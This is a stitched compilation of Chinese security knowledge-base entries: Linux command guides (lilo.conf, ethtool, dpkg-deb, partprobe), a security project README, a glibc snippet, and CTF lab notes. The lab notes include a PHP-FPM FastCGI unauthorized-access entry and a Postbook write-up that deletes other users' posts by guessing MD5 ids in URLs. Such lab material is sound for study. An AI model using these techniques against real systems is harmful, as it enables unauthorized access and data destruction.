类似 `backup', 如果原来有同名的备份文件就予以改写.
.TP
.BI "ignore-table"
通知 lilo 忽略混乱的分区表.
.TP
.BI "install=" boot-sector
把指定的文件作为新的引导扇区进行安装,
如果忽略 `install' 选项,默认使用
.I /boot/boot.b.
.TP
.BI "linear"
生成线性的扇区地址代替 sector/head/cylinder 类型的三维地址.
线性地址是在运行时进行转换,
它不依赖于磁盘的几何结构.
注意如果使用 `linear' 选项,
就不能使用 便携式磁盘 (如软盘) 作为引导盘,
这是因为 决定磁盘 几何结构的 BIOS 服务
对于软盘 不能可靠的工作.
对于大磁盘使用 `linear' 选项时,
.I /sbin/lilo
可以生成对不可到达 磁盘区域的引用,
这是由于 在引导完成之前 并不知道扇区的三维地址.
.TP
.BI "lba32"
生成 32 位的逻辑块地址代替 sector/head/cylinder 结构的三维地址.
如果 BIOS 支持数据分组 (packet) 定址,
就会使用这类调用去存取磁盘,
这样就可以从大于 8.4Gb 的分区进行引导,
变换的几何结构仅限于是 C:H:S 类型的地址 ;
如果 BIOS 不支持数据分组定址, 'lba32' 就如 'linear' 选项,
地址被转换为 C:H:S 结构.
使用 'lba32' 选项,所有的软盘仍保持 C:H:S 类型的格式.
.TP
.BI "lock"
允许自动记录引导命令作为下次引导的缺省值.
通过这种方法, lilo 可以"锁定"一个选项直到
手工覆盖它.
.TP
.BI "map=" map-file
指定映像文件的位置.
如果忽略了 `map' 选项,就使用
.I /boot/map .
.TP
.BI "message=" message-file
指定包含有在引导提示出现之前
显示的消息的文件名称.
在打印 "LILO " 之后等待按 Shift 键
过程中消息不会显示.
在此消息中, FF 字符 ([Ctrl L]) 清除本地屏幕,
消息文件的大小限制为 65535 字节,
如果改变或删除了此文件, 映像文件必须重建.
.TP
.BI "nowarn"
禁止对后来的危险发出警告.
.TP
.BI "optional"
每一个 `optional' 选项 (参考下面) 都作用
于所有的映像.
.TP
.BI "password=" password
每一个 `password=...' 选项 (参考下面) 都作用
于所有的映像.
.TP
.BI "prompt"
在任何按键之前强制进入引导提示.
如果设置了 'prompt' 但是没有设置 `timeout',
就不能自动引导机器 (需要人工干预).
.TP
.BI "restricted"
每一个 `restricted' 选项 (参考下面) 都作用
于所有的映像.
.TP
.BI "serial=" parameters
允许从串行线路进行控制.
指定的串行端口被初始化,
引导载入程序接受从此端口和 PC 键盘的输入.
在串行线路上发送一个中断 (break)
相当于在控制台按下 shift 键,
可以得到载入程序的注意.
允许串行线路控制时,
所有的引导映像都应该加上口令保护.
比如线路是连接在 modem 上时,
相对于控制台, 这是最起码的安全要求.
参数串有如下的语法格式:
.sp
.nf
<port>[,<bps>[<parity>[<bits>]]]
.fi
.sp
<port>: 串行端口号, 以 0 为基准. 0 对应于 COM1,
也就是 /dev/ttyS0, 依此类推.
可以使用所有的四个端口 (如果有的话).
.sp
<bps>: 本端口的波特率. 支持如下波特率:
110, 150, 300, 600, 1200, 2400, 4800 和 9600 bps.
默认是 2400 bps.
.sp
<parity>: 线路上使用的奇偶校验方式. 载入程序忽略
输入的奇偶校验, 即省略第八位,
下面字符描述校验方式 (大小写均可):
n 无校验, e 偶校验, o 奇校验.
.sp
<bits>: 字符位数. 仅支持 7 位或 8位,
如果无奇偶校验, 默认为 8 位, 有校验则为 7 位.
.sp
如果设置了 `serial' 选项,
`delay' 的值自动增加到 20.
.sp
例如: serial=0,2400n8 用缺省的参数初始化 COM1 端口.
.TP
.BI "timeout=" tsecs
设置键盘输入的超时时间 (以十分之一秒为单位).
到了指定的时间没有按键发生,
第一个映像被自动引导.
类似的, 如果用户停顿时间太长,
口令输入过程也被终止,
默认没有超时时间.
.TP
.BI "verbose=" level
打开详细报告过程.
更大的数字可以得到更多的输出,
如果在 lilo 的命令行附加了 \-v ,
level 值会再增加. 最大值为 5.
.LP
另外, 核心配置参数
.BR append ", " ramdisk ", " read-only ", " read-write ", " root
和
.B vga
也在全局选项部分设置.
如果没有在各核心映像部分
修改它们, 默认是使用了的.
.SH "各映像选项"
各个映像部分从任意一行开始.
.sp
.nf
\fBimage=\fP\fIpathname\fP
.fi
.sp
(用于指出包含有 Linux 核心的文件或设备),
或者如下面这行:
.sp
.nf
\fBother=\fP\fIpathname\fP
.fi
.sp
指出要引导的其它系统.
.LP
在以前, \fBimage\fP 行指定引导的设备时,
就必须用
.TP
.BI "range=" start-end
格式给出扇区的范围.
.LP
后来 (要引导其它系统) 使用了下面这三个选项 :
.TP
.BI "loader=" chain-loader
指出使用的 chain 装入程序.
默认时使用
.I /boot/chain.b
, 当不是从第一块硬盘或软盘引导时, 必须给出
chain 装入程序.
.TP
.BI "table=" device
给出包含有分区表的设备.
如果忽略了此选项, 引导载入程序就
不会给被引导的操作系统传送分区信息,
(有些操作系统可以通过其它办法
知道自己是从哪个分区引导的, 如 MS-DOS
通常在它的引导扇区
保存磁盘的几何结构或分区信息).
注意: 如果通过 `table' 选项引用的
分区表设备被修改了, 就需要重新执行 /sbin/lilo.
.TP
.BI "unsafe"
在建立映射时不能存取引导扇区.
这样禁止某些包括分区表的完整性检查,
如果引导扇区在固定格式的软盘设备上,
使用 UNSAFE 可以避免在执行
映射安装程序时需要把可读盘放入驱动器中,
`unsafe' 和 `table' 不兼容.
.LP
在上面所示的两种情况下, 都适用下述选项 :
.TP
.BI "label=" name
指出每个映像的标识文件名称 (不含路径).
通过设置各种 `label', 可以为映像指定不同的名称.
.TP
.BI "alias=" name
通过使用别名可以为同一个项目指定第二个名称.
.TP
.BI "lock"
(参考前面.)
.TP
.BI "optional"
如果在映射建立时
没有提供映像文件就忽略它.
这对于指定 实际上并不存在的实验核心
是非常有用的.
.TP
.BI "password=" password
通过 password 口令保护映像.
.TP
.BI "restricted"
如果参数是在命令行中给出的,
为引导映像就仅需要口令 (如 single).
.LP
.SH "Linux 核心选项"
如果引导的是 Linux 核心,
可以传递命令行参数到核心.
.TP
.BI "append=" string
在传递给核心的参数表中附加本选项.
典型的应用是指定不能完全自动
探测到的硬件参数,
或者是可能有风险的情况. 例如:
.sp
.nf
append = "hd=64,32,202"
.fi
.sp
.TP
.BI "literal=" string
类似 `append', 但删除其它选项 (如设置 root 设备).
因为通过 `literal' 选项, 可以无意中删除掉其它关键选项,
所以它不能用在全局选项部分.
.TP
.BI "ramdisk=" size
指出 RAM 磁盘的大小, 0 表示没有
RAM 盘需要建立. 忽略了此选项,
RAM 盘的大小就使用引导映像中原来配置的值.
.TP
.BI "read-only"
指出 root 文件系统以只读方式安装.
典型地, 系统在启动过程中 (在 fsck 检查过程之后)
以读写方式安装 root 文件系统.
.TP
.BI "read-write"
以读写方式安装 root 文件系统.
.TP
.BI "root=" root-device
指定作为 root 安装的设备.
如果使用的是
.B current
, root 就设置为当前以根
文件系统安装的设备.
如果用 -r 选项改变了 root 的值,
就使用各个自己的设备.
如果忽略了 'root' 选项,
就使用核心中包含的 root 设备.
(该值是在核心的 Makefile 文件中
由 ROOT_DEV 给出并在编译核心时
就确定了的, 以后可以用 rdev(8) 程序修改.)
.TP
.BI "vga=" mode
引导时可以选择的 VGA 文本模式.
可以使用下列值:
.sp
.BR normal :
普通 80x25 文本模式 .
.sp
.BR extended " (或 " ext ):
选择 80x50 文本模式 .
.sp
.BR ask :
引导停止并等待用户输入.
.sp
<number>: 使用此数字对应的文本模式.
通过 vga=ask 引导, 然后按 [Enter]
可以得到一个支持的列表输出.
.sp
忽略了此选项, 就使用核心映像中
包含的 VGA 模式设置值.
(该值是在核心的 Makefile 文件中
由 SVGA_MODE 给出并在编译核心时就确定了的,
以后可以用 rdev(8) 程序修改.)
.SH "参考"
lilo(8), rdev(8).
.br
lilo 的发行版都有很多的文档资料, 以上仅仅是其中的一小部分.
.SH "中文版维护人"
.B Yin Huaming <yhmact@pzh-public.sc.cninfo.net>
.SH "中文版最新更新"
2002年7月10日
.SH "中文 man 手册页翻译计划"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# ossa(open-source security architecture)
[开源安全架构](https://bloodzer0.github.io/ossa/)
如果愿意分享或者想给我一些更多的意见，欢迎加我微信：**Lzero2012**
## 致过去
本项目从2018-10-08号开始创建，截止目前2个月多一点，star目前在400+，很感谢大家的支持，写东西一直是一件很累的事情，但是我一直在努力下去。
过去的2个月写了很多开源安全工具的安装与使用，也有很多人提出了质疑"不应该把项目写成了工具文章"，套用前几天看到的一句话："安装与使用我不会去看官方文档嘛"。这里给自己解释一下，一开始我的方向就是利用开源工具来建设中小型企业的安全，这类型的很多公司可能没有专业的安全，或者是一个人的安全部，所以我在第一阶段就是哪些安全隐患我们可以使用什么样的工具来解决。从第二阶段到第三阶段将会是这些工具在企业的落地经验（一个人的经验始终是有限的，我有时间也会去找一些甲方的朋友来碰撞思路整理以后发出来）。
### 2018/10/12-2018/12/07
* 初始版本整体架构安排；
* V1.0版本目录重构；
* 应用安全基础知识：安全测试、扫描等；
* DoS/DDoS/CC、入侵检测与防御；
* 主机入侵检测、日志分析；
* 主机入侵检测、日志分析、蜜罐、登录登录认证；
* 日志分析踩坑、蜜罐MHN、jumpserver；
* LDAP+Cas身份与访问安全；
* 钓鱼平台gophish；
## Now
第一阶段持续了2个多月，本以为这个时间会更长一些，看来自己还是真的很拼了（写工具安装使用其实是一个体力活，脑力活更多体现在对工具的思考与踩坑）。目前原项目被我删除了，从明天开始项目会出现一些变化，很多子项目将会以如何在企业中落地的形式展现给大家，希望大家能给我更多的意见。
> 2018-12-16：安全测试概述、漏洞管理概述、安全扫描概述
## 感谢
排名不分前后，非常谢谢大家伙的支持！
> [atiger77](https://github.com/atiger77)
> [bsmali4](https://github.com/bsmali4)
> [cf_hb](https://github.com/coffeehb/)
> [hblf](https://github.com/lewisec)
> [hiw0rld](https://github.com/hiw0rld)
> [ourren](https://github.com/SecWiki)
> [Rozero](https://github.com/r0zero)
> [Sophone](https://github.com/Sophone)
> [千域千寻](https://github.com/Leeboble)
****
> [SecWiki](https://sec-wiki.com/)
> [勾陈安全实验室](http://www.polaris-lab.com/)
|
sec-knowleage
|
# picoCTF - 2021
Writeups for various challenges from the 2021 [picoCTF competition](https://play.picoctf.org/).
Ranking at the buzzer: 86/6215 with 5640 points.
|
sec-knowleage
|
ethtool
===
显示或修改以太网卡的配置信息
## 补充说明
ethtool命令用于获取以太网卡的配置信息，或者修改这些配置。这个命令比较复杂，功能特别多。
### 语法
```shell
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
ethtool [-e] ethX [raw on|off] [offset N] [length N]
ethtool [-E] ethX [magic N] [offset N] [value N]
ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off]
ethtool [-p] ethX [N]
ethtool [-t] ethX [offline|online]
ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external]
[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
```
### 选项
```shell
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态：启动on 或 停用off。
-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态：启动on 或 停用off。
-c display the Coalesce information of the specified ethernet card。
-C Change the Coalesce setting of the specified ethernet card。
-g Display the rx/tx ring parameter information of the specified ethernet card。
-G change the rx/tx ring setting of the specified ethernet card。
-i 显示网卡驱动的信息，如驱动的名称、版本等。
-d 显示register dump信息, 部分网卡驱动不支持该选项。
-e 显示EEPROM dump信息，部分网卡驱动不支持该选项。
-E 修改网卡EEPROM byte。
-k 显示网卡Offload参数的状态：on 或 off，包括rx-checksumming、tx-checksumming等。
-K 修改网卡Offload参数的状态。
-p 用于区别不同ethX对应网卡的物理位置，常用的方法是使网卡port上的led不断的闪；N指示了网卡闪的持续时间，以秒为单位。
-r 如果auto-negotiation模块的状态为on，则restarts auto-negotiation。
-S 显示NIC- and driver-specific 的统计参数，如网卡接收/发送的字节数、接收/发送的广播包个数等。
-t 让网卡执行自我检测，有两种模式：offline or online。
-s 修改网卡的部分配置，包括网卡速度、单工/全双工模式、mac地址等。
```
### 数据来源
Ethtool命令显示的信息来源于网卡驱动层，即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为：
最重要的结构体`struct ethtool_ops`，该结构体成员为用于显示或修改以太网卡配置的一系列函数指针，见下表中的第二列。
网卡驱动负责实现（部分）这些函数，并将其封装入`ethtool_ops`结构体，为网络核心层提供统一的调用接口。因此，不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`，三者间的对应关系如下表所示：
| 命令选项 | struct ethtool\_ops成员函数 | Ethtool命令显示参数的来源（以网卡驱动BNX2为例） |
| ----- | ----- | ----- |
| 无 -s | get\_settingsget\_wol get\_msglevel get\_link set\_settings set\_wol set\_msglevel | 从网卡寄存器中获得网卡速度等信息，可配置。 |
| -a -A | get\_pauseparam set\_pauseparam | 从网卡寄存器中获得Autonegotiate/RX/TX模块的状态：on oroff，可配置。 |
| -c -C | get\_coalesceset\_coalesce | 从网卡寄存器中获得coalescing参数：TX/RX一个数据包后，推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs\&rx-frames同时被设为0时，RX中断停止。 当tx-usecs\&tx-frames同时被设为0时，TX中断停止。 |
| -g -G | get\_ringparam set\_ringparam | 除当前TX/RX ring的值（从网卡寄存器中读取得到，可配置）外，其它为网卡bnx2自己固定的信息。 |
| -k -K | get\_rx\_csumget\_tx\_csum get\_sg get\_tso set\_rx\_csum set\_tx\_csum set\_sg set\_tso | 显示信息从保存该状态的变量中读取得到，没有对应的寄存器。因此，TX/RX校验等模块一直处于on状态，实际上是无法修改的。 |
| -i | get\_drvinfo\[self\_test\_count, get\_stats\_coun,t get\_regs\_len, get\_eeprom\_len] | 网卡bnx2自己固定的信息，如： ——————driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 ———————————– |
| -d | get\_drvinfoget\_regs | 不支持，即bnx2中没有实现函数get\_regs。 |
| -e -E | get\_eepromset\_eeprom | 不支持，即bnx2中没有实现函数get\_eeprom。 |
| -r | nway\_reset | 配置网卡MII\_BMCR寄存器，重启Auto negotiation模块。 |
| -p | phys\_id | 配置网卡BNX2\_EMAC\_LED寄存器，实现LED闪功能。 |
| -t | self\_test | 通过配置网卡寄存器，逐一测试网卡的硬件模块：registers，memory，loopback，Link stat，interrupt。 |
| -S | get\_ethtool\_stats | 显示信息来源于网卡驱动中的结构体变量stats\_blk。（网卡通过DMA方式，将寄存器BNX2\_HC\_STATISTICS \_ADDR\_L和BNX2\_HC\_STATISTICS\_ADDR\_H中的数据实时地读取到结构体变量struct statistics\_block \*stats\_blk中。） —显示的数据都是从网卡寄存器中统计得到的，各项的含义需查询网卡（芯片）手册。 |
由上可见，ethtool命令用于显示/配置网卡硬件（寄存器）。
### 实例
查看机器上网卡的速度：百兆还是千兆，请输入：
```shell
ethool eth0
```
操作完毕后，输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX，请输入：
```shell
ethtool -A tx off eth0
```
操作完毕后，可输入`ethtool -a eth0`，查看tx模块是否已被停止。查看网卡eth0采用了何种驱动，请输入：
```shell
ethtool -i eth0
```
操作完毕后，显示 driver: bnx2；version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能，请输入：
```shell
ethtool -K eth0 rx off
```
操作完毕后，可输入`ethtool –k eth0`，查看校验功能是否已被停止。如果机器上安装了两块网卡，那么eth0对应着哪块网卡呢？输入：
```shell
ethtool -p eth0 10
```
操作完毕后，看哪块网卡的led灯在闪，eth0就对应着哪块网卡。查看网卡，在接收/发送数据时，有没有出错？请输入：
```shell
ethtool –S eth0
```
将千兆网卡的速度降为百兆，请输入：
```shell
ethtool -s eth0 speed 100
```
|
sec-knowleage
|
# PHP-FPM Fastcgi 未授权访问漏洞
## 原理
详见<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>。
## 测试环境搭建
直接执行`docker compose up -d`即可运行测试环境，环境监听9000端口。
## EXP
Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
执行结果：
|
sec-knowleage
|
# Postbook - FLAG6
## 0x00 Delet Post
http://127.0.0.1/1234567890/index.php?page=delete.php&id=eccbc87e4b5ce2fe28308fd9f2a7baf3
Where **id=eccbc87e4b5ce2fe28308fd9f2a7baf3** is also [md5][1] value of post id.
## 0x01 Delete Others
http://127.0.0.1/1234567890/index.php?page=delete.php&id=c4ca4238a0b923820dcc509a6f75849b
## 0x02 FLAG
[1]: https://www.cmd5.com/
|
sec-knowleage
|
dpkg-deb
===
Debian Linux下的软件包管理工具
## 补充说明
**dpkg-deb命令** 是Debian Linux下的软件包管理工具，它可以对软件包执行打包和解包操作以及提供软件包信息。
### 语法
```shell
dpkg-deb(选项)(参数)
```
### 选项
```shell
-c：显示软件包中的文件列表；
-e：将主控信息解压；
-f：把字段内容打印到标准输出；
-x：将软件包中的文件释放到指定目录下；
-X：将软件包中的文件释放到指定目录下，并显示释放文件的详细过程；
-w：显示软件包的信息；
-l：显示软件包的详细信息；
-R：提取控制信息和存档的清单文件；
-b：创建debian软件包。
```
### 参数
文件：指定要操作的“.deb”软件包的全名或软件名。
### 实例
解压程序文件：
```shell
dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
```
解压控制文件：
```shell
dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
```
打包生成deb文件：
```shell
dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
```
查询deb包中的文件内容：
```shell
dpkg-deb -c demo.deb
```
|
sec-knowleage
|
partprobe
===
不重启的情况下重读分区
## 补充说明
**partprobe命令** 用于重读分区表，当出现删除文件后，出现仍然占用空间。可以partprobe在不重启的情况下重读分区。
### 语法
```shell
partprobe(选项)(参数)
```
### 选项
```shell
-d：不更新内核；
-s：显示摘要和分区；
-h：显示帮助信息；
-v：显示版本信息。
```
### 参数
设备：指定需要确认分区表改变的硬盘对应的设备文件。
### 实例
使用partprobe不重启系统添加新的磁盘分区，主机自带硬盘超过300GB，目前只划分使用了3个主分区，不到70GB，如下：
```shell
[root@localhost ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 29G 3.7G 24G 14% /
/dev/sda2 29G 22G 5.2G 81% /oracle
tmpfs 2.0G 0 2.0G 0% /dev/shm
```
```shell
[root@localhost ~]# cat /proc/partitions
major minor #blocks name
8 0 311427072 sda
8 1 30716248 sda1
8 2 30716280 sda2
8 3 8193150 sda3
8 16 976896 sdb
8 32 976896 sdc
…省略其他
```
现在需要给系统添加1个100GB的空间存放数据文件，而又不影响现有系统上业务的运行，使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下：
**第1步 添加新的磁盘分区** ：
```shell
[root@localhost ~]# fdisk /dev/sda
The number of cylinders for this disk is set to 38770.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of lilo)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)
command (m for help): p
Disk /dev/sda: 318.9 GB, 318901321728 bytes
255 heads, 63 sectors/track, 38770 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks id System
/dev/sda1 * 1 3824 30716248+ 83 Linux
/dev/sda2 3825 7648 30716280 83 Linux
/dev/sda3 7649 8668 8193150 82 Linux swap / Solaris
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Selected partition 4
First cylinder (8669-38770, default 8669):
Using default value 8669
last cylinder or +size or +sizeM or +sizeK (8669-38770, default 38770): +100G
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
WARNING: Re-reading the partition table failed with error 16:
Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.
```
**第2步 使用工具partprobe让kernel读取分区信息：**
```shell
[root@localhost ~]# partprobe
```
使用fdisk工具只是将分区信息写到磁盘，如果需要mkfs磁盘分区则需要重启系统，而使用partprobe则可以使kernel重新读取分区信息，从而避免重启系统。
**第3步 格式化文件系统：**
```shell
[root@localhost ~]# mkfs.ext3 /dev/sda4
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
12222464 inodes, 24416791 blocks
1220839 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
746 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632,
2654208, 4096000, 7962624, 11239424, 20480000, 23887872
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information:
done
This filesystem will be automatically checked every 26 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
[root@localhost ~]#
```
**第4步 mount新的分区`/dev/sda4`：**
```shell
[root@localhost ~]# e2label /dev/sda4 /data
[root@localhost ~]# mkdir /data
[root@localhost ~]# mount /dev/sda4 /data
[root@localhost ~]# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 29753556 3810844 24406900 14% /
/dev/sda2 29753588 11304616 16913160 41% /oracle
tmpfs 2023936 0 2023936 0% /dev/shm
/dev/sda4 96132968 192312 91057300 1% /data
```
使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。
|
sec-knowleage
|
### misc测试支持
下面的代码用于支持测试，默认情况下 perturb_byte 是0。
```c
static int perturb_byte;
static void alloc_perturb(char *p, size_t n) {
if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte ^ 0xff, n);
}
static void free_perturb(char *p, size_t n) {
if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte, n);
}
```
|
sec-knowleage
|
# MacroHard WeakEdge
Category: Forensics, 60 points
## Description
> I've hidden a flag in this file. Can you find it?
A `*.pptm` file was attached.
## Solution
The attached file is a PowerPoint presentation:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/MacroHard_WeakEdge]
└─$ file Forensics_is_fun.pptm
Forensics_is_fun.pptm: Microsoft PowerPoint 2007+
```
Let's start with `oletools` to check for macros, as the title suggests:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/MacroHard_WeakEdge]
└─$ olevba Forensics_is_fun.pptm
olevba 0.56.1 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: Forensics_is_fun.pptm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: ppt/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub not_flag()
Dim not_flag As String
not_flag = "sorry_but_this_isn't_it"
End Sub
No suspicious keyword or IOC found.
```
Close, but not it.
A PowerPoint file is basically just a ZIP file with a different extension and specific content. Let's see what we can find inside:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/MacroHard_WeakEdge]
└─$ unzip Forensics_is_fun.pptm
Archive: Forensics_is_fun.pptm
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: ppt/presentation.xml
inflating: ppt/slides/_rels/slide46.xml.rels
inflating: ppt/slides/slide1.xml
inflating: ppt/slides/slide2.xml
inflating: ppt/slides/slide3.xml
inflating: ppt/slides/slide4.xml
inflating: ppt/slides/slide5.xml
inflating: ppt/slides/slide6.xml
inflating: ppt/slides/slide7.xml
inflating: ppt/slides/slide8.xml
inflating: ppt/slides/slide9.xml
inflating: ppt/slides/slide10.xml
inflating: ppt/slides/slide11.xml
inflating: ppt/slides/slide12.xml
inflating: ppt/slides/slide13.xml
inflating: ppt/slides/slide14.xml
inflating: ppt/slides/slide15.xml
inflating: ppt/slides/slide16.xml
inflating: ppt/slides/slide17.xml
inflating: ppt/slides/slide18.xml
inflating: ppt/slides/slide19.xml
inflating: ppt/slides/slide20.xml
inflating: ppt/slides/slide21.xml
inflating: ppt/slides/slide22.xml
inflating: ppt/slides/slide23.xml
inflating: ppt/slides/slide24.xml
inflating: ppt/slides/slide25.xml
inflating: ppt/slides/slide26.xml
inflating: ppt/slides/slide27.xml
inflating: ppt/slides/slide28.xml
inflating: ppt/slides/slide29.xml
inflating: ppt/slides/slide30.xml
inflating: ppt/slides/slide31.xml
inflating: ppt/slides/slide32.xml
inflating: ppt/slides/slide33.xml
inflating: ppt/slides/slide34.xml
inflating: ppt/slides/slide35.xml
inflating: ppt/slides/slide36.xml
inflating: ppt/slides/slide37.xml
inflating: ppt/slides/slide38.xml
inflating: ppt/slides/slide39.xml
inflating: ppt/slides/slide40.xml
inflating: ppt/slides/slide41.xml
inflating: ppt/slides/slide42.xml
inflating: ppt/slides/slide43.xml
inflating: ppt/slides/slide44.xml
inflating: ppt/slides/slide45.xml
inflating: ppt/slides/slide46.xml
inflating: ppt/slides/slide47.xml
inflating: ppt/slides/slide48.xml
inflating: ppt/slides/slide49.xml
inflating: ppt/slides/slide50.xml
inflating: ppt/slides/slide51.xml
inflating: ppt/slides/slide52.xml
inflating: ppt/slides/slide53.xml
inflating: ppt/slides/slide54.xml
inflating: ppt/slides/slide55.xml
inflating: ppt/slides/slide56.xml
inflating: ppt/slides/slide57.xml
inflating: ppt/slides/slide58.xml
inflating: ppt/slides/_rels/slide47.xml.rels
inflating: ppt/slides/_rels/slide48.xml.rels
inflating: ppt/slides/_rels/slide49.xml.rels
inflating: ppt/slides/_rels/slide50.xml.rels
inflating: ppt/slides/_rels/slide32.xml.rels
inflating: ppt/slides/_rels/slide52.xml.rels
inflating: ppt/slides/_rels/slide53.xml.rels
inflating: ppt/slides/_rels/slide54.xml.rels
inflating: ppt/slides/_rels/slide55.xml.rels
inflating: ppt/slides/_rels/slide56.xml.rels
inflating: ppt/slides/_rels/slide57.xml.rels
inflating: ppt/slides/_rels/slide58.xml.rels
inflating: ppt/slides/_rels/slide51.xml.rels
inflating: ppt/slides/_rels/slide13.xml.rels
inflating: ppt/_rels/presentation.xml.rels
inflating: ppt/slides/_rels/slide1.xml.rels
inflating: ppt/slides/_rels/slide2.xml.rels
inflating: ppt/slides/_rels/slide3.xml.rels
inflating: ppt/slides/_rels/slide4.xml.rels
inflating: ppt/slides/_rels/slide5.xml.rels
inflating: ppt/slides/_rels/slide6.xml.rels
inflating: ppt/slides/_rels/slide7.xml.rels
inflating: ppt/slides/_rels/slide8.xml.rels
inflating: ppt/slides/_rels/slide9.xml.rels
inflating: ppt/slides/_rels/slide10.xml.rels
inflating: ppt/slides/_rels/slide11.xml.rels
inflating: ppt/slides/_rels/slide12.xml.rels
inflating: ppt/slides/_rels/slide14.xml.rels
inflating: ppt/slides/_rels/slide15.xml.rels
inflating: ppt/slides/_rels/slide16.xml.rels
inflating: ppt/slides/_rels/slide17.xml.rels
inflating: ppt/slides/_rels/slide18.xml.rels
inflating: ppt/slides/_rels/slide19.xml.rels
inflating: ppt/slides/_rels/slide20.xml.rels
inflating: ppt/slides/_rels/slide21.xml.rels
inflating: ppt/slides/_rels/slide22.xml.rels
inflating: ppt/slides/_rels/slide23.xml.rels
inflating: ppt/slides/_rels/slide24.xml.rels
inflating: ppt/slides/_rels/slide25.xml.rels
inflating: ppt/slides/_rels/slide26.xml.rels
inflating: ppt/slides/_rels/slide27.xml.rels
inflating: ppt/slides/_rels/slide28.xml.rels
inflating: ppt/slides/_rels/slide29.xml.rels
inflating: ppt/slides/_rels/slide30.xml.rels
inflating: ppt/slides/_rels/slide31.xml.rels
inflating: ppt/slides/_rels/slide33.xml.rels
inflating: ppt/slides/_rels/slide34.xml.rels
inflating: ppt/slides/_rels/slide35.xml.rels
inflating: ppt/slides/_rels/slide36.xml.rels
inflating: ppt/slides/_rels/slide37.xml.rels
inflating: ppt/slides/_rels/slide38.xml.rels
inflating: ppt/slides/_rels/slide39.xml.rels
inflating: ppt/slides/_rels/slide40.xml.rels
inflating: ppt/slides/_rels/slide41.xml.rels
inflating: ppt/slides/_rels/slide42.xml.rels
inflating: ppt/slides/_rels/slide43.xml.rels
inflating: ppt/slides/_rels/slide44.xml.rels
inflating: ppt/slides/_rels/slide45.xml.rels
inflating: ppt/slideMasters/slideMaster1.xml
inflating: ppt/slideLayouts/slideLayout1.xml
inflating: ppt/slideLayouts/slideLayout2.xml
inflating: ppt/slideLayouts/slideLayout3.xml
inflating: ppt/slideLayouts/slideLayout4.xml
inflating: ppt/slideLayouts/slideLayout5.xml
inflating: ppt/slideLayouts/slideLayout6.xml
inflating: ppt/slideLayouts/slideLayout7.xml
inflating: ppt/slideLayouts/slideLayout8.xml
inflating: ppt/slideLayouts/slideLayout9.xml
inflating: ppt/slideLayouts/slideLayout10.xml
inflating: ppt/slideLayouts/slideLayout11.xml
inflating: ppt/slideMasters/_rels/slideMaster1.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout1.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout2.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout3.xml.rels
inflating: ppt/slideLayouts/_rels/slideLayout4.xml.rels
